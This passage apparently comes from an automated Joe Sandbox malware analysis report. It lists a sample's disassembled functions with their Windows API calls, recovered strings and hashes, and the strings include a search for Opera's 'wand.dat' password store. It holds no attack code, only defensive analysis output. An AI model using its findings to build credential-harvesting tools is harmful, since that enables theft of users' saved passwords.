                                                                                            • Instruction ID: d6b380c41b5e3e458bf6abeca455f552dea24a705517b0a2e3702c553642f250
                                                                                            • Opcode Fuzzy Hash: 5b9d86c37e8fc893e623c972aadbd746c4d139f4edb44e4e662c1ed71a902018
                                                                                            • Instruction Fuzzy Hash: 9B01DBF3D0012977D730A755CC46FEA76ACEF45304F0000B6BB08B3186DB78DA458A99
                                                                                            Function 0040D553 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040D58D
                                                                                            • SetWindowTextW.USER32(?,?), ref: 0040D5BD
                                                                                            • EnumChildWindows.USER32(?,Function_0000D4F5,00000000), ref: 0040D5CD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ChildEnumTextWindowWindowsmemset
                                                                                            • String ID: caption
                                                                                            • API String ID: 1523050162-4135340389
                                                                                            • Opcode ID: 0d93d59d75102ca4f37fb867a54fcac0e05f73641c093ad9b23abec7f1ae8059
                                                                                            • Instruction ID: dcfab03f3ae0740f4c11e1fd8af26e22289cdce227bdcda27870e2dbaf68b2c3
                                                                                            • Opcode Fuzzy Hash: 0d93d59d75102ca4f37fb867a54fcac0e05f73641c093ad9b23abec7f1ae8059
                                                                                            • Instruction Fuzzy Hash: 50F08131D0031876FB206B95CC4EB8A3268AB04744F000076BE04B61D2DBB8EA44C69D
                                                                                            Function 00401137 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00409BFD: memset.MSVCRT ref: 00409C07
                                                                                              • Part of subcall function 00409BFD: wcscpy.MSVCRT ref: 00409C47
                                                                                            • CreateFontIndirectW.GDI32(?), ref: 00401156
                                                                                            • SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 00401175
                                                                                            • SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 00401193
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
                                                                                            • String ID: MS Sans Serif
                                                                                            • API String ID: 210187428-168460110
                                                                                            • Opcode ID: d52be591b3ab58c36f6074870949877e32a333ebc1fa33980d7036594a0e8467
                                                                                            • Instruction ID: 44e142790c58e2983bb51e892a2c7280827b5342727586ee11fe1c2be2fb852b
                                                                                            • Opcode Fuzzy Hash: d52be591b3ab58c36f6074870949877e32a333ebc1fa33980d7036594a0e8467
                                                                                            • Instruction Fuzzy Hash: 7CF082B5A4030877EB326BA1DC46F9A77BDBB44B01F040935F721B91D1D3F4A585C658
                                                                                            Function 004055C5 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040560C
                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D173
                                                                                              • Part of subcall function 0040D134: LoadStringW.USER32(00000000,0000000A,00000FFF,?), ref: 0040D20C
                                                                                              • Part of subcall function 0040D134: memcpy.MSVCRT(00000000,00000002), ref: 0040D24C
                                                                                              • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                              • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D1E1
                                                                                              • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                                                                                              • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                                                                                              • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                                                                                              • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                              • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                                                                                              • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                              • Part of subcall function 0040A212: wcscpy.MSVCRT ref: 0040A269
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                                                                                            • String ID: *.*$dat$wand.dat
                                                                                            • API String ID: 2618321458-1828844352
                                                                                            • Opcode ID: 0657051124b0d036bd635f999d135efdf1f0fa3481af6b00979a6af828487765
                                                                                            • Instruction ID: e27ea46a2f82f1f177a07810d763c9ecc86b2647b265d762bc330c580f82b585
                                                                                            • Opcode Fuzzy Hash: 0657051124b0d036bd635f999d135efdf1f0fa3481af6b00979a6af828487765
                                                                                            • Instruction Fuzzy Hash: BF419B71600205AFDB10AF65DC85EAEB7B9FF40314F10802BF909AB1D1EF7999958F89
                                                                                            Function 00412018 Relevance: 6.1, APIs: 4, Instructions: 99windowkeyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 00412057
                                                                                              • Part of subcall function 0040A116: ShellExecuteW.SHELL32(?,open,?,Function_0004E518,Function_0004E518,00000005), ref: 0040A12C
                                                                                            • SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 004120C7
                                                                                            • GetMenuStringW.USER32(?,00000103,?,0000004F,00000000), ref: 004120E1
                                                                                            • GetKeyState.USER32(00000010), ref: 0041210D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ExecuteMenuMessageSendShellStateStringmemset
                                                                                            • String ID:
                                                                                            • API String ID: 3550944819-0
                                                                                            • Opcode ID: e484aa313eeb80bd7472f2401a4c50dedc9a7c38d875d1deba0becea129ff557
                                                                                            • Instruction ID: 97bad96470fefb965444fbd8e179d7ef3b872eae7f66eff2ef5a186de824ffeb
                                                                                            • Opcode Fuzzy Hash: e484aa313eeb80bd7472f2401a4c50dedc9a7c38d875d1deba0becea129ff557
                                                                                            • Instruction Fuzzy Hash: 5341C330600305EBDB209F15CD88B9677A8AB54324F10817AEA699B2E2D7B89DD1CB14
                                                                                            Function 0040F508 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • free.MSVCRT ref: 0040F561
                                                                                            • memcpy.MSVCRT(00000000,?,00000001,g4@,00000000,0000121C,?,?,?,00403467), ref: 0040F573
                                                                                            • memcpy.MSVCRT(00000000,?,?,00000000), ref: 0040F5A6
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpy$free
                                                                                            • String ID: g4@
                                                                                            • API String ID: 2888793982-2133833424
                                                                                            • Opcode ID: e202219f899f6405cf9ccc08ea0a2323c377b0568c486578cbaaf15be4e6d242
                                                                                            • Instruction ID: 6372a4083673351870aa2a156e9431cadfa41d37230e9e7fabcd635cb7c3c96e
                                                                                            • Opcode Fuzzy Hash: e202219f899f6405cf9ccc08ea0a2323c377b0568c486578cbaaf15be4e6d242
                                                                                            • Instruction Fuzzy Hash: D2217A30900604EFCB20DF29C94182ABBF5FF447247204A7EE852A3B91E735EE119B04
                                                                                            Function 004144BB Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004144E7
                                                                                              • Part of subcall function 0040A353: _snwprintf.MSVCRT ref: 0040A398
                                                                                              • Part of subcall function 0040A353: memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 0040A3A8
                                                                                            • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00414510
                                                                                            • memset.MSVCRT ref: 0041451A
                                                                                            • GetPrivateProfileStringW.KERNEL32(?,?,Function_0004E518,?,00002000,?), ref: 0041453C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
                                                                                            • String ID:
                                                                                            • API String ID: 1127616056-0
                                                                                            • Opcode ID: 914c831d0af6f6b5d0e69cc874d3cd2e27131541a502a72cc4fac318c133dcf3
                                                                                            • Instruction ID: e03fcf36bb778615f94f946172f2cadce4c7e53e7889dedf6030812535802df7
                                                                                            • Opcode Fuzzy Hash: 914c831d0af6f6b5d0e69cc874d3cd2e27131541a502a72cc4fac318c133dcf3
                                                                                            • Instruction Fuzzy Hash: 9A1170B1500119BFEF115F65EC02EDA7B69EF04714F100066FB09B2060E6319A60DB9D
                                                                                            Function 00417434 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756EDF80,?,0041755F,?), ref: 00417452
                                                                                            • malloc.MSVCRT ref: 00417459
                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,756EDF80,?,0041755F,?), ref: 00417478
                                                                                            • free.MSVCRT ref: 0041747F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide$freemalloc
                                                                                            • String ID:
                                                                                            • API String ID: 2605342592-0
                                                                                            • Opcode ID: 393c83f8647a4e4e905b151b9ea1406947fc62e9018515f0e7f821d7fee9a8df
                                                                                            • Instruction ID: 8389f0226c663b3c6d8c6253af8546a3d73aba679155ae8f7c82d0c1376384d0
                                                                                            • Opcode Fuzzy Hash: 393c83f8647a4e4e905b151b9ea1406947fc62e9018515f0e7f821d7fee9a8df
                                                                                            • Instruction Fuzzy Hash: 1DF0E9B620D21E3F7B006AB55CC0C7B7B9CD7862FCB11072FF51091180E9594C1116B6
                                                                                            Function 004123E2 Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(00000000,?,00000000), ref: 00412403
                                                                                            • RegisterClassW.USER32(00000001), ref: 00412428
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0041242F
                                                                                            • CreateWindowExW.USER32(00000000,00000000,0044E518,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000,?), ref: 00412455
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: HandleModule$ClassCreateRegisterWindow
                                                                                            • String ID:
                                                                                            • API String ID: 2678498856-0
                                                                                            • Opcode ID: 3d8581704458cf3d0e12cdde0886d81e04a6e1a5031830fe2d02856e91d8c1e2
                                                                                            • Instruction ID: 2742b6e08e64d4f702ac0bdc031c2178a10537c5a2141806c9029dd5a11ba4c1
                                                                                            • Opcode Fuzzy Hash: 3d8581704458cf3d0e12cdde0886d81e04a6e1a5031830fe2d02856e91d8c1e2
                                                                                            • Instruction Fuzzy Hash: E601E5B1941228ABD7119FA68C89ADFBEBCFF09B14F10411AF514A2240D7B456408BE9
                                                                                            Function 0040F64E Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040F673
                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,?,00007FFF,00000000,00000000,00000000), ref: 0040F690
                                                                                            • strlen.MSVCRT ref: 0040F6A2
                                                                                            • WriteFile.KERNEL32(00000001,?,00000000,00000000,00000000), ref: 0040F6B3
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                            • String ID:
                                                                                            • API String ID: 2754987064-0
                                                                                            • Opcode ID: 2d99b823047ec0f3cd03764c07ddb7da79dd9e7c990c2a315c49f172e64051b9
                                                                                            • Instruction ID: e5447571fde1e0de43d26e7f5909b1ba013d3ab3fbf9ce0dfcc5e01eb4e41d37
                                                                                            • Opcode Fuzzy Hash: 2d99b823047ec0f3cd03764c07ddb7da79dd9e7c990c2a315c49f172e64051b9
                                                                                            • Instruction Fuzzy Hash: 03F062B680102C7FEB81A794DC81DEB77ACEB05258F0080B2B715D2140E9749F484F7D
                                                                                            Function 0040F6BD Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040F6E2
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000001,000000FF,?,00001FFF,00000000,00000000,00000001,0044E5FC,00000000,00000000,00000000,?,00000000,00000000), ref: 0040F6FB
                                                                                            • strlen.MSVCRT ref: 0040F70D
                                                                                            • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040F71E
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                            • String ID:
                                                                                            • API String ID: 2754987064-0
                                                                                            • Opcode ID: 78dfd465d09002bf9bae10831117093d85a4e6860472b193aca7c856fde4830d
                                                                                            • Instruction ID: 4069f22fd96ae38f7b0fbed24adb75974e75abfa9f51d26af0f678a77882025e
                                                                                            • Opcode Fuzzy Hash: 78dfd465d09002bf9bae10831117093d85a4e6860472b193aca7c856fde4830d
                                                                                            • Instruction Fuzzy Hash: C8F06DB780022CBFFB059B94DCC8DEB77ACEB05254F0000A2B715D2042E6749F448BB8
                                                                                            Function 0041437B Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00409D7F: memset.MSVCRT ref: 00409D9E
                                                                                              • Part of subcall function 00409D7F: GetClassNameW.USER32(?,00000000,000000FF), ref: 00409DB5
                                                                                              • Part of subcall function 00409D7F: _wcsicmp.MSVCRT ref: 00409DC7
                                                                                            • SetBkMode.GDI32(?,00000001), ref: 004143A2
                                                                                            • SetBkColor.GDI32(?,00FFFFFF), ref: 004143B0
                                                                                            • SetTextColor.GDI32(?,00C00000), ref: 004143BE
                                                                                            • GetStockObject.GDI32(00000000), ref: 004143C6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
                                                                                            • String ID:
                                                                                            • API String ID: 764393265-0
                                                                                            • Opcode ID: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                            • Instruction ID: 55a1794077c12dabf0ba6e1c8d3319674f3f2ba5a0574a39bcd6537ad23d1771
                                                                                            • Opcode Fuzzy Hash: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                            • Instruction Fuzzy Hash: 3AF06835200219BBCF112FA5EC06EDD3F25BF05321F104536FA25A45F1CBB59D609759
                                                                                            Function 004134C6 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memcpy.MSVCRT(0045A808,?,00000050,?,0040155D,?), ref: 004134E0
                                                                                            • memcpy.MSVCRT(0045A538,?,000002CC,0045A808,?,00000050,?,0040155D,?), ref: 004134F2
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00413505
                                                                                            • DialogBoxParamW.USER32(00000000,0000006B,?,Function_000131DC,00000000), ref: 00413519
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpy$DialogHandleModuleParam
                                                                                            • String ID:
                                                                                            • API String ID: 1386444988-0
                                                                                            • Opcode ID: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                            • Instruction ID: 364e94b7bdcda47f4d7f1f8d7aeee0d56301a77e6e21c3ce81869cca2c347424
                                                                                            • Opcode Fuzzy Hash: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                            • Instruction Fuzzy Hash: 80F0E272A843207BF7207FA5AC0AB477E94FB05B03F114826F600E50D2C2B988518F8D
                                                                                            Function 0040A353 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _snwprintf.MSVCRT ref: 0040A398
                                                                                            • memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 0040A3A8
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _snwprintfmemcpy
                                                                                            • String ID: %2.2X
                                                                                            • API String ID: 2789212964-323797159
                                                                                            • Opcode ID: ad0fc0dc4c4054376e52d8ba7d115ce3a6dbc9d30928944a1ebc7f5d9ce1ea74
                                                                                            • Instruction ID: 802357eb4f50a043e47c8b78e7782d62930b20b04af67ea92e1f933aeb07fc5a
                                                                                            • Opcode Fuzzy Hash: ad0fc0dc4c4054376e52d8ba7d115ce3a6dbc9d30928944a1ebc7f5d9ce1ea74
                                                                                            • Instruction Fuzzy Hash: 71118E32900309BFEB10DFE8D8829AFB3B9FB05314F108476ED11E7141D6789A258B96
                                                                                            Function 0040A153 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetWindowLongW.USER32(?,000000EC), ref: 0040A159
                                                                                            • SetWindowLongW.USER32(000000EC,000000EC,00000000), ref: 0040A16B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: LongWindow
                                                                                            • String ID: MZ@
                                                                                            • API String ID: 1378638983-2978689999
                                                                                            • Opcode ID: 897d752f6043cc922bbe5e3779e5fd859b92255b25006c63bcdd8f44162c87a9
                                                                                            • Instruction ID: 658df1d6f65a5f4ca5cf2dc917bfbc57e2b12ac14a328fb0c2cac09aa770bd9f
                                                                                            • Opcode Fuzzy Hash: 897d752f6043cc922bbe5e3779e5fd859b92255b25006c63bcdd8f44162c87a9
                                                                                            • Instruction Fuzzy Hash: 3FC0027415D116AFDF112B35EC0AE2A7EA9BB86362F208BB4B076E01F1CB7184109A09
                                                                                            Function 0040B1D1 Relevance: 5.1, APIs: 4, Instructions: 67COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • wcslen.MSVCRT ref: 0040B1DE
                                                                                            • free.MSVCRT ref: 0040B201
                                                                                              • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                              • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,00000000,00000000,00000000,?,0040A9F2,00000002,?,00000000,?,0040AD25,00000000,?,00000000), ref: 00409A28
                                                                                              • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                            • free.MSVCRT ref: 0040B224
                                                                                            • memcpy.MSVCRT(00000000,00000000,-00000002,00000000,00000000,?,?,?,?,0040B319,0040B432,00000000,?,?,0040B432,00000000), ref: 0040B248
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free$memcpy$mallocwcslen
                                                                                            • String ID:
                                                                                            • API String ID: 726966127-0
                                                                                            • Opcode ID: dbfa2e27eb608a9f9479d75297a1486c58e4153ca5a873f0eddd30e24b8e668e
                                                                                            • Instruction ID: 71128cbd9221161776fa816c6212d75478d488e0bdd8d9cf72ea7cd81dda7be0
                                                                                            • Opcode Fuzzy Hash: dbfa2e27eb608a9f9479d75297a1486c58e4153ca5a873f0eddd30e24b8e668e
                                                                                            • Instruction Fuzzy Hash: 02215BB2500604EFD720DF18D881CAAB7F9EF49324B114A6EE452976A1CB35B9158B98
                                                                                            Function 0040B0D1 Relevance: 5.1, APIs: 4, Instructions: 55stringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • strlen.MSVCRT ref: 0040B0D8
                                                                                            • free.MSVCRT ref: 0040B0FB
